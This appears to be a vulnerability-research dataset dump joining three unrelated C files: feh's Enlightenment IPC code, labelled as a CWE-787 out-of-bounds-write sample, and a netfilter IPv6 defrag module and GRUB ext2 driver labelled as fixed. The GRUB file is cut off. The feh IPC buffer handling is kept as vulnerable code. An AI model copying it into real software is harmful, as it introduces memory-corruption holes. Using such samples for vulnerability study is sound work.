XKillClient(disp2, *((Pixmap *) data_root)); } } } } if (data_root) XFree(data_root); if (data_esetroot) XFree(data_esetroot); /* This will locate the property, creating it if it doesn't exist */ prop_root = XInternAtom(disp2, "_XROOTPMAP_ID", False); prop_esetroot = XInternAtom(disp2, "ESETROOT_PMAP_ID", False); if (prop_root == None || prop_esetroot == None) eprintf("creation of pixmap property failed."); XChangeProperty(disp2, root2, prop_root, XA_PIXMAP, 32, PropModeReplace, (unsigned char *) &pmap_d2, 1); XChangeProperty(disp2, root2, prop_esetroot, XA_PIXMAP, 32, PropModeReplace, (unsigned char *) &pmap_d2, 1); XSetWindowBackgroundPixmap(disp2, root2, pmap_d2); XClearWindow(disp2, root2); XFlush(disp2); XSetCloseDownMode(disp2, RetainPermanent); XCloseDisplay(disp2); } return; } signed char feh_wm_get_wm_is_e(void) { static signed char e = -1; /* check if E is actually running */ if (e == -1) { /* XXX: This only covers E17 prior to 6/22/05 */ if ((XInternAtom(disp, "ENLIGHTENMENT_COMMS", True) != None) && (XInternAtom(disp, "ENLIGHTENMENT_VERSION", True) != None)) { D(("Enlightenment detected.\n")); e = 1; } else { D(("Enlightenment not detected.\n")); e = 0; } } return(e); } int feh_wm_get_num_desks(void) { char *buf, *ptr; int desks; if (!feh_wm_get_wm_is_e()) return(-1); buf = enl_send_and_wait("num_desks ?"); if (buf == IPC_FAKE) /* Fake E17 IPC */ return(-1); D(("Got from E IPC: %s\n", buf)); ptr = buf; while (ptr && !isdigit(*ptr)) ptr++; desks = atoi(ptr); return(desks); } Window enl_ipc_get_win(void) { unsigned char *str = NULL; Atom prop, prop2, ever; unsigned long num, after; int format; Window dummy_win; int dummy_int; unsigned int dummy_uint; D(("Searching for IPC window.\n")); /* * Shortcircuit this entire func * if we already know it's an e17 fake */ if (e17_fake_ipc) return(ipc_win); prop = XInternAtom(disp, "ENLIGHTENMENT_COMMS", True); if (prop == None) { D(("Enlightenment is not running.\n")); return(None); } else { /* XXX: This will only work with E17 prior to 6/22/2005 */ ever = XInternAtom(disp, "ENLIGHTENMENT_VERSION", True); if (ever == None) { /* This is an E without ENLIGHTENMENT_VERSION */ D(("E16 IPC Protocol not supported")); return(None); } } XGetWindowProperty(disp, root, prop, 0, 14, False, AnyPropertyType, &prop2, &format, &num, &after, &str); if (str) { sscanf((char *) str, "%*s %x", (unsigned int *) &ipc_win); XFree(str); } if (ipc_win != None) { if (!XGetGeometry (disp, ipc_win, &dummy_win, &dummy_int, &dummy_int, &dummy_uint, &dummy_uint, &dummy_uint, &dummy_uint)) { D((" -> IPC Window property is valid, but the window doesn't exist.\n")); ipc_win = None; } str = NULL; if (ipc_win != None) { XGetWindowProperty(disp, ipc_win, prop, 0, 14, False, AnyPropertyType, &prop2, &format, &num, &after, &str); if (str) { XFree(str); } else { D((" -> IPC Window lacks the proper atom. I can't talk to fake IPC windows....\n")); ipc_win = None; } } } if (ipc_win != None) { XGetWindowProperty(disp, ipc_win, ever, 0, 14, False, AnyPropertyType, &prop2, &format, &num, &after, &str); if (str) { /* * This is E17's way of telling us it's only pretending * as a workaround for a bug related to the way java handles * Window Managers. * (Only valid after date of this comment) * -- richlowe 2005-06-22 */ XFree(str); D((" -> Found a fake E17 IPC window, ignoring")); ipc_win = None; e17_fake_ipc = 1; return(ipc_win); } D((" -> IPC Window found and verified as 0x%08x. Registering feh as an IPC client.\n", (int) ipc_win)); XSelectInput(disp, ipc_win, StructureNotifyMask | SubstructureNotifyMask); enl_ipc_send("set clientname " PACKAGE); enl_ipc_send("set version " VERSION); enl_ipc_send("set email tom@linuxbrit.co.uk"); enl_ipc_send("set web http://www.linuxbrit.co.uk"); enl_ipc_send("set info Feh - be pr0n or be dead"); } if (my_ipc_win == None) { my_ipc_win = XCreateSimpleWindow(disp, root, -2, -2, 1, 1, 0, 0, 0); } return(ipc_win); } void enl_ipc_send(char *str) { static char *last_msg = NULL; char buff[21]; register unsigned short i; register unsigned char j; unsigned short len; XEvent ev; if (str == NULL) { if (last_msg == NULL) eprintf("eeek"); str = last_msg; D(("Resending last message \"%s\" to Enlightenment.\n", str)); } else { if (last_msg != NULL) { free(last_msg); } last_msg = estrdup(str); D(("Sending \"%s\" to Enlightenment.\n", str)); } if (ipc_win == None) { if ((ipc_win = enl_ipc_get_win()) == None) { D(("Hrm. Enlightenment doesn't seem to be running. No IPC window, no IPC.\n")); return; } } len = strlen(str); ipc_atom = XInternAtom(disp, "ENL_MSG", False); if (ipc_atom == None) { D(("IPC error: Unable to find/create ENL_MSG atom.\n")); return; } for (; XCheckTypedWindowEvent(disp, my_ipc_win, ClientMessage, &ev);); /* Discard any out-of-sync messages */ ev.xclient.type = ClientMessage; ev.xclient.serial = 0; ev.xclient.send_event = True; ev.xclient.window = ipc_win; ev.xclient.message_type = ipc_atom; ev.xclient.format = 8; for (i = 0; i < len + 1; i += 12) { sprintf(buff, "%8x", (int) my_ipc_win); for (j = 0; j < 12; j++) { buff[8 + j] = str[i + j]; if (!str[i + j]) { break; } } buff[20] = 0; for (j = 0; j < 20; j++) { ev.xclient.data.b[j] = buff[j]; } XSendEvent(disp, ipc_win, False, 0, (XEvent *) & ev); } return; } static sighandler_t *enl_ipc_timeout(int sig) { timeout = 1; return((sighandler_t *) sig); } char *enl_wait_for_reply(void) { XEvent ev; static char msg_buffer[20]; register unsigned char i; alarm(2); for (; !XCheckTypedWindowEvent(disp, my_ipc_win, ClientMessage, &ev) && !timeout;); alarm(0); if (ev.xany.type != ClientMessage) { return(IPC_TIMEOUT); } for (i = 0; i < 20; i++) { msg_buffer[i] = ev.xclient.data.b[i]; } return(msg_buffer + 8); } char *enl_ipc_get(const char *msg_data) { static char *message = NULL; static unsigned short len = 0; char buff[13], *ret_msg = NULL; register unsigned char i; unsigned char blen; if (msg_data == IPC_TIMEOUT) { return(IPC_TIMEOUT); } for (i = 0; i < 12; i++) { buff[i] = msg_data[i]; } buff[12] = 0; blen = strlen(buff); if (message != NULL) { len += blen; message = (char *) erealloc(message, len + 1); strcat(message, buff); } else { len = blen; message = (char *) emalloc(len + 1); strcpy(message, buff); } if (blen < 12) { ret_msg = message; message = NULL; D(("Received complete reply: \"%s\"\n", ret_msg)); } return(ret_msg); } char *enl_send_and_wait(char *msg) { char *reply = IPC_TIMEOUT; sighandler_t old_alrm; /* * Shortcut this func and return IPC_FAKE * If the IPC Window is the E17 fake */ if (e17_fake_ipc) return IPC_FAKE; if (ipc_win == None) { /* The IPC window is missing. Wait for it to return or feh to be killed. */ /* Only called once in the E17 case */ for (; enl_ipc_get_win() == None;) { if (e17_fake_ipc) return IPC_FAKE; else sleep(1); } } old_alrm = (sighandler_t) signal(SIGALRM, (sighandler_t) enl_ipc_timeout); for (; reply == IPC_TIMEOUT;) { timeout = 0; enl_ipc_send(msg); for (; !(reply = enl_ipc_get(enl_wait_for_reply()));); if (reply == IPC_TIMEOUT) { /* We timed out. The IPC window must be AWOL. Reset and resend message. */ D(("IPC timed out. IPC window has gone. Clearing ipc_win.\n")); XSelectInput(disp, ipc_win, None); ipc_win = None; } } signal(SIGALRM, old_alrm); return(reply); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3301_0
crossvul-cpp_data_good_5499_1
/* (C) 1999-2001 Paul `Rusty' Russell * (C) 2002-2004 Netfilter Core Team <coreteam@netfilter.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/types.h> #include <linux/ipv6.h> #include <linux/in6.h> #include <linux/netfilter.h> #include <linux/module.h> #include <linux/skbuff.h> #include <linux/icmp.h> #include <linux/sysctl.h> #include <net/ipv6.h> #include <net/inet_frag.h> #include <linux/netfilter_ipv6.h> #include <linux/netfilter_bridge.h> #if IS_ENABLED(CONFIG_NF_CONNTRACK) #include <net/netfilter/nf_conntrack.h> #include <net/netfilter/nf_conntrack_helper.h> #include <net/netfilter/nf_conntrack_l4proto.h> #include <net/netfilter/nf_conntrack_l3proto.h> #include <net/netfilter/nf_conntrack_core.h> #include <net/netfilter/ipv6/nf_conntrack_ipv6.h> #endif #include <net/netfilter/nf_conntrack_zones.h> #include <net/netfilter/ipv6/nf_defrag_ipv6.h> static enum ip6_defrag_users nf_ct6_defrag_user(unsigned int hooknum, struct sk_buff *skb) { u16 zone_id = NF_CT_DEFAULT_ZONE_ID; #if IS_ENABLED(CONFIG_NF_CONNTRACK) if (skb->nfct) { enum ip_conntrack_info ctinfo; const struct nf_conn *ct = nf_ct_get(skb, &ctinfo); zone_id = nf_ct_zone_id(nf_ct_zone(ct), CTINFO2DIR(ctinfo)); } #endif if (nf_bridge_in_prerouting(skb)) return IP6_DEFRAG_CONNTRACK_BRIDGE_IN + zone_id; if (hooknum == NF_INET_PRE_ROUTING) return IP6_DEFRAG_CONNTRACK_IN + zone_id; else return IP6_DEFRAG_CONNTRACK_OUT + zone_id; } static unsigned int ipv6_defrag(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { int err; #if IS_ENABLED(CONFIG_NF_CONNTRACK) /* Previously seen (loopback)? */ if (skb->nfct && !nf_ct_is_template((struct nf_conn *)skb->nfct)) return NF_ACCEPT; #endif err = nf_ct_frag6_gather(state->net, skb, nf_ct6_defrag_user(state->hook, skb)); /* queued */ if (err == -EINPROGRESS) return NF_STOLEN; return err == 0 ? NF_ACCEPT : NF_DROP; } static struct nf_hook_ops ipv6_defrag_ops[] = { { .hook = ipv6_defrag, .pf = NFPROTO_IPV6, .hooknum = NF_INET_PRE_ROUTING, .priority = NF_IP6_PRI_CONNTRACK_DEFRAG, }, { .hook = ipv6_defrag, .pf = NFPROTO_IPV6, .hooknum = NF_INET_LOCAL_OUT, .priority = NF_IP6_PRI_CONNTRACK_DEFRAG, }, }; static int __init nf_defrag_init(void) { int ret = 0; ret = nf_ct_frag6_init(); if (ret < 0) { pr_err("nf_defrag_ipv6: can't initialize frag6.\n"); return ret; } ret = nf_register_hooks(ipv6_defrag_ops, ARRAY_SIZE(ipv6_defrag_ops)); if (ret < 0) { pr_err("nf_defrag_ipv6: can't register hooks\n"); goto cleanup_frag6; } return ret; cleanup_frag6: nf_ct_frag6_cleanup(); return ret; } static void __exit nf_defrag_fini(void) { nf_unregister_hooks(ipv6_defrag_ops, ARRAY_SIZE(ipv6_defrag_ops)); nf_ct_frag6_cleanup(); } void nf_defrag_ipv6_enable(void) { } EXPORT_SYMBOL_GPL(nf_defrag_ipv6_enable); module_init(nf_defrag_init); module_exit(nf_defrag_fini); MODULE_LICENSE("GPL");
./CrossVul/dataset_final_sorted/CWE-787/c/good_5499_1
crossvul-cpp_data_good_3411_2
/* ext2.c - Second Extended filesystem */ /* * GRUB -- GRand Unified Bootloader * Copyright (C) 2003,2004,2005,2007,2008,2009 Free Software Foundation, Inc. * * GRUB is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GRUB is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GRUB. If not, see <http://www.gnu.org/licenses/>. */ /* Magic value used to identify an ext2 filesystem. */ #define EXT2_MAGIC 0xEF53 /* Amount of indirect blocks in an inode. */ #define INDIRECT_BLOCKS 12 /* Maximum length of a pathname. */ #define EXT2_PATH_MAX 4096 /* Maximum nesting of symlinks, used to prevent a loop. */ #define EXT2_MAX_SYMLINKCNT 8 /* The good old revision and the default inode size. */ #define EXT2_GOOD_OLD_REVISION 0 #define EXT2_GOOD_OLD_INODE_SIZE 128 /* Filetype used in directory entry. */ #define FILETYPE_UNKNOWN 0 #define FILETYPE_REG 1 #define FILETYPE_DIRECTORY 2 #define FILETYPE_SYMLINK 7 /* Filetype information as used in inodes. */ #define FILETYPE_INO_MASK 0170000 #define FILETYPE_INO_REG 0100000 #define FILETYPE_INO_DIRECTORY 0040000 #define FILETYPE_INO_SYMLINK 0120000 #include <grub/err.h> #include <grub/file.h> #include <grub/mm.h> #include <grub/misc.h> #include <grub/disk.h> #include <grub/dl.h> #include <grub/types.h> #include <grub/fshelp.h> /* Log2 size of ext2 block in 512 blocks. */ #define LOG2_EXT2_BLOCK_SIZE(data) \ (grub_le_to_cpu32 (data->sblock.log2_block_size) + 1) /* Log2 size of ext2 block in bytes. */ #define LOG2_BLOCK_SIZE(data) \ (grub_le_to_cpu32 (data->sblock.log2_block_size) + 10) /* The size of an ext2 block in bytes. */ #define EXT2_BLOCK_SIZE(data) (1 << LOG2_BLOCK_SIZE (data)) /* The revision level. */ #define EXT2_REVISION(data) grub_le_to_cpu32 (data->sblock.revision_level) /* The inode size. */ #define EXT2_INODE_SIZE(data) \ (EXT2_REVISION (data) == EXT2_GOOD_OLD_REVISION \ ? EXT2_GOOD_OLD_INODE_SIZE \ : grub_le_to_cpu16 (data->sblock.inode_size)) /* Superblock filesystem feature flags (RW compatible) * A filesystem with any of these enabled can be read and written by a driver * that does not understand them without causing metadata/data corruption. */ #define EXT2_FEATURE_COMPAT_DIR_PREALLOC 0x0001 #define EXT2_FEATURE_COMPAT_IMAGIC_INODES 0x0002 #define EXT3_FEATURE_COMPAT_HAS_JOURNAL 0x0004 #define EXT2_FEATURE_COMPAT_EXT_ATTR 0x0008 #define EXT2_FEATURE_COMPAT_RESIZE_INODE 0x0010 #define EXT2_FEATURE_COMPAT_DIR_INDEX 0x0020 /* Superblock filesystem feature flags (RO compatible) * A filesystem with any of these enabled can be safely read by a driver that * does not understand them, but should not be written to, usually because * additional metadata is required. */ #define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER 0x0001 #define EXT2_FEATURE_RO_COMPAT_LARGE_FILE 0x0002 #define EXT2_FEATURE_RO_COMPAT_BTREE_DIR 0x0004 #define EXT4_FEATURE_RO_COMPAT_GDT_CSUM 0x0010 #define EXT4_FEATURE_RO_COMPAT_DIR_NLINK 0x0020 #define EXT4_FEATURE_RO_COMPAT_EXTRA_ISIZE 0x0040 /* Superblock filesystem feature flags (back-incompatible) * A filesystem with any of these enabled should not be attempted to be read * by a driver that does not understand them, since they usually indicate * metadata format changes that might confuse the reader. */ #define EXT2_FEATURE_INCOMPAT_COMPRESSION 0x0001 #define EXT2_FEATURE_INCOMPAT_FILETYPE 0x0002 #define EXT3_FEATURE_INCOMPAT_RECOVER 0x0004 /* Needs recovery */ #define EXT3_FEATURE_INCOMPAT_JOURNAL_DEV 0x0008 /* Volume is journal device */ #define EXT2_FEATURE_INCOMPAT_META_BG 0x0010 #define EXT4_FEATURE_INCOMPAT_EXTENTS 0x0040 /* Extents used */ #define EXT4_FEATURE_INCOMPAT_64BIT 0x0080 #define EXT4_FEATURE_INCOMPAT_FLEX_BG 0x0200 /* The set of back-incompatible features this driver DOES support. Add (OR) * flags here as the related features are implemented into the driver. */ #define EXT2_DRIVER_SUPPORTED_INCOMPAT ( EXT2_FEATURE_INCOMPAT_FILETYPE \ | EXT4_FEATURE_INCOMPAT_EXTENTS \ | EXT4_FEATURE_INCOMPAT_FLEX_BG ) /* List of rationales for the ignored "incompatible" features: * needs_recovery: Not really back-incompatible - was added as such to forbid * ext2 drivers from mounting an ext3 volume with a dirty * journal because they will ignore the journal, but the next * ext3 driver to mount the volume will find the journal and * replay it, potentially corrupting the metadata written by * the ext2 drivers. Safe to ignore for this RO driver. */ #define EXT2_DRIVER_IGNORED_INCOMPAT ( EXT3_FEATURE_INCOMPAT_RECOVER ) #define EXT3_JOURNAL_MAGIC_NUMBER 0xc03b3998U #define EXT3_JOURNAL_DESCRIPTOR_BLOCK 1 #define EXT3_JOURNAL_COMMIT_BLOCK 2 #define EXT3_JOURNAL_SUPERBLOCK_V1 3 #define EXT3_JOURNAL_SUPERBLOCK_V2 4 #define EXT3_JOURNAL_REVOKE_BLOCK 5 #define EXT3_JOURNAL_FLAG_ESCAPE 1 #define EXT3_JOURNAL_FLAG_SAME_UUID 2 #define EXT3_JOURNAL_FLAG_DELETED 4 #define EXT3_JOURNAL_FLAG_LAST_TAG 8 #define EXT4_EXTENTS_FLAG 0x80000 /* The ext2 superblock. */ struct grub_ext2_sblock { grub_uint32_t total_inodes; grub_uint32_t total_blocks; grub_uint32_t reserved_blocks; grub_uint32_t free_blocks; grub_uint32_t free_inodes; grub_uint32_t first_data_block; grub_uint32_t log2_block_size; grub_uint32_t log2_fragment_size; grub_uint32_t blocks_per_group; grub_uint32_t fragments_per_group; grub_uint32_t inodes_per_group; grub_uint32_t mtime; grub_uint32_t utime; grub_uint16_t mnt_count; grub_uint16_t max_mnt_count; grub_uint16_t magic; grub_uint16_t fs_state; grub_uint16_t error_handling; grub_uint16_t minor_revision_level; grub_uint32_t lastcheck; grub_uint32_t checkinterval; grub_uint32_t creator_os; grub_uint32_t revision_level; grub_uint16_t uid_reserved; grub_uint16_t gid_reserved; grub_uint32_t first_inode; grub_uint16_t inode_size; grub_uint16_t block_group_number; grub_uint32_t feature_compatibility; grub_uint32_t feature_incompat; grub_uint32_t feature_ro_compat; grub_uint16_t uuid[8]; char volume_name[16]; char last_mounted_on[64]; grub_uint32_t compression_info; grub_uint8_t prealloc_blocks; grub_uint8_t prealloc_dir_blocks; grub_uint16_t reserved_gdt_blocks; grub_uint8_t journal_uuid[16]; grub_uint32_t journal_inum; grub_uint32_t journal_dev; grub_uint32_t last_orphan; grub_uint32_t hash_seed[4]; grub_uint8_t def_hash_version; grub_uint8_t jnl_backup_type; grub_uint16_t reserved_word_pad; grub_uint32_t default_mount_opts; grub_uint32_t first_meta_bg; grub_uint32_t mkfs_time; grub_uint32_t jnl_blocks[17]; }; /* The ext2 blockgroup. */ struct grub_ext2_block_group { grub_uint32_t block_id; grub_uint32_t inode_id; grub_uint32_t inode_table_id; grub_uint16_t free_blocks; grub_uint16_t free_inodes; grub_uint16_t used_dirs; grub_uint16_t pad; grub_uint32_t reserved[3]; }; /* The ext2 inode. */ struct grub_ext2_inode { grub_uint16_t mode; grub_uint16_t uid; grub_uint32_t size; grub_uint32_t atime; grub_uint32_t ctime; grub_uint32_t mtime; grub_uint32_t dtime; grub_uint16_t gid; grub_uint16_t nlinks; grub_uint32_t blockcnt; /* Blocks of 512 bytes!! */ grub_uint32_t flags; grub_uint32_t osd1; union { struct datablocks { grub_uint32_t dir_blocks[INDIRECT_BLOCKS]; grub_uint32_t indir_block; grub_uint32_t double_indir_block; grub_uint32_t triple_indir_block; } blocks; char symlink[60]; }; grub_uint32_t version; grub_uint32_t acl; grub_uint32_t dir_acl; grub_uint32_t fragment_addr; grub_uint32_t osd2[3]; }; /* The header of an ext2 directory entry. */ struct ext2_dirent { grub_uint32_t inode; grub_uint16_t direntlen; grub_uint8_t namelen; grub_uint8_t filetype; }; struct grub_ext3_journal_header { grub_uint32_t magic; grub_uint32_t block_type; grub_uint32_t sequence; }; struct grub_ext3_journal_revoke_header { struct grub_ext3_journal_header header; grub_uint32_t count; grub_uint32_t data[0]; }; struct grub_ext3_journal_block_tag { grub_uint32_t block; grub_uint32_t flags; }; struct grub_ext3_journal_sblock { struct grub_ext3_journal_header header; grub_uint32_t block_size; grub_uint32_t maxlen; grub_uint32_t first; grub_uint32_t sequence; grub_uint32_t start; }; #define EXT4_EXT_MAGIC 0xf30a struct grub_ext4_extent_header { grub_uint16_t magic; grub_uint16_t entries; grub_uint16_t max; grub_uint16_t depth; grub_uint32_t generation; }; struct grub_ext4_extent { grub_uint32_t block; grub_uint16_t len; grub_uint16_t start_hi; grub_uint32_t start; }; struct grub_ext4_extent_idx { grub_uint32_t block; grub_uint32_t leaf; grub_uint16_t leaf_hi; grub_uint16_t unused; }; struct grub_fshelp_node { struct grub_ext2_data *data; struct grub_ext2_inode inode; int ino; int inode_read; }; /* Information about a "mounted" ext2 filesystem. */ struct grub_ext2_data { struct grub_ext2_sblock sblock; grub_disk_t disk; struct grub_ext2_inode *inode; struct grub_fshelp_node diropen; }; static grub_dl_t my_mod; /* Read into BLKGRP the blockgroup descriptor of blockgroup GROUP of the mounted filesystem DATA. */ inline static grub_err_t grub_ext2_blockgroup (struct grub_ext2_data *data, int group, struct grub_ext2_block_group *blkgrp) { return grub_disk_read (data->disk, ((grub_le_to_cpu32 (data->sblock.first_data_block) + 1) << LOG2_EXT2_BLOCK_SIZE (data)), group * sizeof (struct grub_ext2_block_group), sizeof (struct grub_ext2_block_group), blkgrp); } static struct grub_ext4_extent_header * grub_ext4_find_leaf (struct grub_ext2_data *data, char *buf, struct grub_ext4_extent_header *ext_block, grub_uint32_t fileblock) { struct grub_ext4_extent_idx *index; while (1) { int i; grub_disk_addr_t block; index = (struct grub_ext4_extent_idx *) (ext_block + 1); if (grub_le_to_cpu16(ext_block->magic) != EXT4_EXT_MAGIC) return 0; if (ext_block->depth == 0) return ext_block; for (i = 0; i < grub_le_to_cpu16 (ext_block->entries); i++) { if (fileblock < grub_le_to_cpu32(index[i].block)) break; } if (--i < 0) return 0; block = grub_le_to_cpu16 (index[i].leaf_hi); block = (block << 32) + grub_le_to_cpu32 (index[i].leaf); if (grub_disk_read (data->disk, block << LOG2_EXT2_BLOCK_SIZE (data), 0, EXT2_BLOCK_SIZE(data), buf)) return 0; ext_block = (struct grub_ext4_extent_header *) buf; } } static grub_disk_addr_t grub_ext2_read_block (grub_fshelp_node_t node, grub_disk_addr_t fileblock) { struct grub_ext2_data *data = node->data; struct grub_ext2_inode *inode = &node->inode; int blknr = -1; unsigned int blksz = EXT2_BLOCK_SIZE (data); int log2_blksz = LOG2_EXT2_BLOCK_SIZE (data); if (grub_le_to_cpu32(inode->flags) & EXT4_EXTENTS_FLAG) { #ifndef _MSC_VER char buf[EXT2_BLOCK_SIZE (data)]; #else char * buf = grub_malloc (EXT2_BLOCK_SIZE(data)); #endif struct grub_ext4_extent_header *leaf; struct grub_ext4_extent *ext; int i; leaf = grub_ext4_find_leaf (data, buf, (struct grub_ext4_extent_header *) inode->blocks.dir_blocks, fileblock); if (! leaf) { grub_error (GRUB_ERR_BAD_FS, "invalid extent"); return -1; } ext = (struct grub_ext4_extent *) (leaf + 1); for (i = 0; i < grub_le_to_cpu16 (leaf->entries); i++) { if (fileblock < grub_le_to_cpu32 (ext[i].block)) break; } if (--i >= 0) { fileblock -= grub_le_to_cpu32 (ext[i].block); if (fileblock >= grub_le_to_cpu16 (ext[i].len)) return 0; else { grub_disk_addr_t start; start = grub_le_to_cpu16 (ext[i].start_hi); start = (start << 32) + grub_le_to_cpu32 (ext[i].start); return fileblock + start; } } else { grub_error (GRUB_ERR_BAD_FS, "something wrong with extent"); return -1; } } /* Direct blocks. */ if (fileblock < INDIRECT_BLOCKS) { blknr = grub_le_to_cpu32 (inode->blocks.dir_blocks[fileblock]); /* Indirect. */ } else if (fileblock < INDIRECT_BLOCKS + blksz / 4) { grub_uint32_t *indir; indir = grub_malloc (blksz); if (! indir) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (inode->blocks.indir_block)) << log2_blksz, 0, blksz, indir)) return grub_errno; blknr = grub_le_to_cpu32 (indir[fileblock - INDIRECT_BLOCKS]); grub_free (indir); } /* Double indirect. */ else if (fileblock < (grub_disk_addr_t)(INDIRECT_BLOCKS + blksz / 4) \ * (grub_disk_addr_t)(blksz / 4 + 1)) { unsigned int perblock = blksz / 4; unsigned int rblock = fileblock - (INDIRECT_BLOCKS + blksz / 4); grub_uint32_t *indir; indir = grub_malloc (blksz); if (! indir) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (inode->blocks.double_indir_block)) << log2_blksz, 0, blksz, indir)) return grub_errno; if (grub_disk_read (data->disk, ((grub_disk_addr_t) grub_le_to_cpu32 (indir[rblock / perblock])) << log2_blksz, 0, blksz, indir)) return grub_errno; blknr = grub_le_to_cpu32 (indir[rblock % perblock]); grub_free (indir); } /* triple indirect. */ else { grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET, "ext2fs doesn't support triple indirect blocks"); } return blknr; } /* Read LEN bytes from the file described by DATA starting with byte POS. Return the amount of read bytes in READ. */ static grub_ssize_t grub_ext2_read_file (grub_fshelp_node_t node, void (*read_hook) (grub_disk_addr_t sector, unsigned offset, unsigned length, void *closure), void *closure, int flags, int pos, grub_size_t len, char *buf) { return grub_fshelp_read_file (node->data->disk, node, read_hook, closure, flags, pos, len, buf, grub_ext2_read_block, node->inode.size, LOG2_EXT2_BLOCK_SIZE (node->data)); } /* Read the inode INO for the file described by DATA into INODE. */ static grub_err_t grub_ext2_read_inode (struct grub_ext2_data *data, int ino, struct grub_ext2_inode *inode) { struct grub_ext2_block_group blkgrp; struct grub_ext2_sblock *sblock = &data->sblock; int inodes_per_block; unsigned int blkno; unsigned int blkoff; /* It is easier to calculate if the first inode is 0. */ ino--; int div = grub_le_to_cpu32 (sblock->inodes_per_group); if (div < 1) { return grub_errno = GRUB_ERR_BAD_FS; } grub_ext2_blockgroup (data, ino / div, &blkgrp); if (grub_errno) return grub_errno; int inode_size = EXT2_INODE_SIZE (data); if (inode_size < 1) { return grub_errno = GRUB_ERR_BAD_FS; } inodes_per_block = EXT2_BLOCK_SIZE (data) / inode_size; if (inodes_per_block < 1) { return grub_errno = GRUB_ERR_BAD_FS; } blkno = (ino % grub_le_to_cpu32 (sblock->inodes_per_group)) / inodes_per_block; blkoff = (ino % grub_le_to_cpu32 (sblock->inodes_per_group)) % inodes_per_block; /* Read the inode. */ if (grub_disk_read (data->disk, ((grub_le_to_cpu32 (blkgrp.inode_table_id) + blkno) << LOG2_EXT2_BLOCK_SIZE (data)), EXT2_INODE_SIZE (data) * blkoff, sizeof (struct grub_ext2_inode), inode)) return grub_errno; return 0; } static struct grub_ext2_data * grub_ext2_mount (grub_disk_t disk) { struct grub_ext2_data *data; data = grub_malloc (sizeof (struct grub_ext2_data)); if (!data) return 0; /* Read the superblock. */ grub_disk_read (disk, 1 * 2, 0, sizeof (struct grub_ext2_sblock), &data->sblock); if (grub_errno) goto fail; /* Make sure this is an ext2 filesystem. */ if (grub_le_to_cpu16 (data->sblock.magic) != EXT2_MAGIC) { grub_error (GRUB_ERR_BAD_FS, "not an ext2 filesystem"); goto fail; } /* Check the FS doesn't have feature bits enabled that we don't support. */ if (grub_le_to_cpu32 (data->sblock.feature_incompat) & ~(EXT2_DRIVER_SUPPORTED_INCOMPAT | EXT2_DRIVER_IGNORED_INCOMPAT)) { grub_error (GRUB_ERR_BAD_FS, "filesystem has unsupported incompatible features"); goto fail; } data->disk = disk; data->diropen.data = data; data->diropen.ino = 2; data->diropen.inode_read = 1; data->inode = &data->diropen.inode; grub_ext2_read_inode (data, 2, data->inode); if (grub_errno) goto fail; return data; fail: if (grub_errno == GRUB_ERR_OUT_OF_RANGE) grub_error (GRUB_ERR_BAD_FS, "not an ext2 filesystem"); grub_free (data); return 0; } static char * grub_ext2_read_symlink (grub_fshelp_node_t node) { char *symlink; struct grub_fshelp_node *diro = node; if (! diro->inode_read) { grub_ext2_read_inode (diro->data, diro->ino, &diro->inode); if (grub_errno) return 0; } symlink = grub_malloc (grub_le_to_cpu32 (diro->inode.size) + 1); if (! symlink) return 0; /* If the filesize of the symlink is bigger than 60 the symlink is stored in a separate block, otherwise it is stored in the inode. */ if (grub_le_to_cpu32 (diro->inode.size) <= 60) grub_strncpy (symlink, diro->inode.symlink, grub_le_to_cpu32 (diro->inode.size)); else { grub_ext2_read_file (diro, 0, 0, 0, 0, grub_le_to_cpu32 (diro->inode.size), symlink); if (grub_errno) { grub_free (symlink); return 0; } } symlink[grub_le_to_cpu32 (diro->inode.size)] = '\0'; return symlink; } static int grub_ext2_iterate_dir (grub_fshelp_node_t dir, int (*hook) (const char *filename, enum grub_fshelp_filetype filetype, grub_fshelp_node_t node, void *closure), void *closure) { unsigned int fpos = 0; struct grub_fshelp_node *diro = (struct grub_fshelp_node *) dir; if (! diro->inode_read) { grub_ext2_read_inode (diro->data, diro->ino, &diro->inode); if (grub_errno) return 0; } /* Search the file. */ if (hook) while (fpos < grub_le_to_cpu32 (diro->inode.size)) { struct ext2_dirent dirent; grub_ext2_read_file (diro, NULL, NULL, 0, fpos, sizeof (dirent), (char *) &dirent); if (grub_errno) return 0; if (dirent.direntlen == 0) return 0; if (dirent.namelen != 0) { char * filename = grub_malloc (dirent.namelen + 1); struct grub_fshelp_node *fdiro; enum grub_fshelp_filetype type = GRUB_FSHELP_UNKNOWN; if (!filename) { break; } grub_ext2_read_file (diro, 0, 0, 0, fpos + sizeof (struct ext2_dirent), dirent.namelen, filename); if (grub_errno) { free (filename); return 0; } fdiro = grub_malloc (sizeof (struct grub_fshelp_node)); if (! fdiro) { free (filename); return 0; } fdiro->data = diro->data; fdiro->ino = grub_le_to_cpu32 (dirent.inode); filename[dirent.namelen] = '\0'; if (dirent.filetype != FILETYPE_UNKNOWN) { fdiro->inode_read = 0; if (dirent.filetype == FILETYPE_DIRECTORY) type = GRUB_FSHELP_DIR; else if (dirent.filetype == FILETYPE_SYMLINK) type = GRUB_FSHELP_SYMLINK; else if (dirent.filetype == FILETYPE_REG) type = GRUB_FSHELP_REG; } else { /* The filetype can not be read from the dirent, read the inode to get more information. */ grub_ext2_read_inode (diro->data, grub_le_to_cpu32 (dirent.inode), &fdiro->inode); if (grub_errno) { free (filename); grub_free (fdiro); return 0; } fdiro->inode_read = 1; if ((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_DIRECTORY) type = GRUB_FSHELP_DIR; else if ((grub_le_to_cpu16 (fdiro->inode.mode) & FILETYPE_INO_MASK) == FILETYPE_INO_SYMLINK) type = GRUB_FSHELP_SYMLINK; else if 